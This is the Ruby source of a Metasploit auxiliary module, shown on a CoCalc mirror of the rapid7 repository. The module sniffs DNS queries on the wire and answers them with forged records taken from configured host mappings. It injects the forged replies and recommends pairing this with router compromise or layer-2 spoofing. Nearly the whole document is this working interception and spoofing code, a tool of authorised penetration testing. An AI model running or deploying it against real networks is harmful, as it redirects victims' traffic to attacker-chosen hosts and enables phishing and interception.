Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/spoof/dns/native_spoofer.rb
19778 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
8
include Msf::Exploit::Capture
9
include Msf::Exploit::Remote::DNS::Client
10
include Msf::Exploit::Remote::DNS::Server
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'Native DNS Spoofer (Example)',
17
'Description' => %q{
18
This module provides a Rex based DNS service to resolve queries intercepted
19
via the capture mixin. Configure STATIC_ENTRIES to contain host-name mappings
20
desired for spoofing using a hostsfile or space/semicolon separated entries.
21
In the default configuration, the service operates as a normal native DNS server
22
with the exception of consuming from and writing to the wire as opposed to a
23
listening socket. Best when compromising routers or spoofing L2 in order to
24
prevent return of the real reply which causes a race condition. The method
25
by which replies are filtered is up to the user (though iptables works fine).
26
},
27
'Author' => 'RageLtMan <rageltman[at]sempervictus>',
28
'License' => MSF_LICENSE,
29
'References' => [],
30
'Actions' => [
31
[ 'Service', { 'Description' => 'Serve DNS entries' } ]
32
],
33
'PassiveActions' => [
34
'Service'
35
],
36
'DefaultAction' => 'Service',
37
'Notes' => {
38
'Reliability' => [],
39
'SideEffects' => [],
40
'Stability' => []
41
}
42
)
43
)
44
45
register_options(
46
[
47
OptString.new('FILTER', [false, 'The filter string for capturing traffic', 'dst port 53']),
48
OptAddress.new('SRVHOST', [true, 'The local host to listen on for DNS services.', '127.0.2.2'])
49
]
50
)
51
52
deregister_options('PCAPFILE')
53
end
54
55
#
56
# Wrapper for service execution and cleanup
57
#
58
def run
59
start_service
60
capture_traffic
61
service.wait
62
rescue Rex::BindFailed => e
63
print_error "Failed to bind to port #{datastore['RPORT']}: #{e.message}"
64
end
65
66
def cleanup
67
super
68
@capture_thread.kill if @capture_thread
69
close_pcap
70
end
71
72
#
73
# Generates reply with src and dst reversed
74
# Maintains original packet structure, proto, etc, changes ip_id
75
#
76
def reply_packet(pack)
77
rep = pack.dup
78
rep.eth_dst, rep.eth_src = rep.eth_src, rep.eth_dst
79
rep.ip_dst, rep.ip_src = rep.ip_src, rep.ip_dst
80
if pack.is_udp?
81
rep.udp_dst, rep.udp_src = rep.udp_src, rep.udp_dst
82
else
83
rep.tcp_dst, rep.tcp_src = rep.tcp_src, rep.tcp_dst
84
end
85
rep.ip_id = StructFu::Int16.new(rand(2**16))
86
return rep
87
end
88
89
#
90
# Configures capture and handoff
91
#
92
def capture_traffic
93
check_pcaprub_loaded
94
::Socket.do_not_reverse_lookup = true # Mac OS X workaround
95
open_pcap({ 'FILTER' => datastore['FILTER'] })
96
@capture_thread = Rex::ThreadFactory.spawn('DNSSpoofer', false) do
97
each_packet do |pack|
98
begin
99
parsed = PacketFu::Packet.parse(pack)
100
rescue StandardError => e
101
vprint_status('PacketFu could not parse captured packet')
102
elog('PacketFu could not parse captured packet', error: e)
103
end
104
105
begin
106
reply = reply_packet(parsed)
107
service.dispatch_request(reply, parsed.payload)
108
rescue StandardError => e
109
vprint_status('Could not process captured packet')
110
elog('Could not process captured packet', error: e)
111
end
112
end
113
end
114
end
115
116
#
117
# Creates Proc to handle incoming requests
118
#
119
def on_dispatch_request(cli, data)
120
return unless cli.is_a?(PacketFu::Packet)
121
122
peer = "#{cli.ip_daddr}:" << (cli.is_udp? ? cli.udp_dst.to_s : cli.tcp_dst.to_s)
123
124
# Deal with non DNS traffic
125
begin
126
req = Packet.encode_drb(data)
127
rescue StandardError => e
128
print_error("Could not decode payload segment of packet from #{peer}, check log")
129
dlog e.backtrace
130
return
131
end
132
133
answered = []
134
# Find cached items, remove request from forwarded packet
135
req.question.each do |ques|
136
cached = service.cache.find(ques.qname, ques.qtype.to_s)
137
if cached.empty?
138
next
139
else
140
cached.each do |subcached|
141
req.add_answer(subcached) unless req.answer.include?(subcached)
142
end
143
144
answered << ques
145
end
146
end
147
148
if (answered.count < req.question.count) && service.fwd_res
149
if req.header.rd == 0
150
vprint_status("Recursion forbidden in query for #{req.question.first.name} from #{peer}")
151
else
152
forward = req.dup
153
forward.question.delete_if { |question| answered.include?(question) }
154
begin
155
forwarded = service.fwd_res.send(Packet.validate(forward))
156
rescue NoResponseError
157
vprint_error('Did not receive a response')
158
return
159
end
160
161
unless service.cache.nil?
162
forwarded.answer.each do |ans|
163
rstring = ans.respond_to?(:address) ? "#{ans.name}:#{ans.address}" : ans.name
164
vprint_status("Caching response #{rstring} #{ans.type}")
165
service.cache.cache_record(ans)
166
end
167
end
168
169
# Merge the answers and use the upstream response
170
req.answer.each do |answer|
171
forwarded.add_answer(answer) unless forwarded.answer.include?(answer)
172
end
173
req = forwarded
174
end
175
end
176
177
req.header.qr = true
178
service.send_response(cli, req.encode)
179
end
180
181
#
182
# Creates Proc to handle outbound responses
183
#
184
def on_send_response(cli, data)
185
return unless cli.is_a?(PacketFu::Packet)
186
187
cli.payload = data
188
cli.recalc
189
inject cli.to_s
190
sent_info(cli, data) if datastore['VERBOSE']
191
end
192
193
#
194
# Prints information about spoofed packet after injection to reduce latency of operation
195
# Shown to improve response time by >50% from ~1ms -> 0.3-0.4ms
196
#
197
def sent_info(cli, data)
198
net = Packet.encode_net(data)
199
peer = "#{cli.ip_daddr}:" << (cli.is_udp? ? cli.udp_dst.to_s : cli.tcp_dst.to_s)
200
asked = net.question.map { |q| q.qName.delete_suffix('.') }.join(', ')
201
vprint_good("Sent packet with header:\n#{cli.inspect}")
202
vprint_good("Spoofed records for #{asked} to #{peer}")
203
end
204
205
end
206
207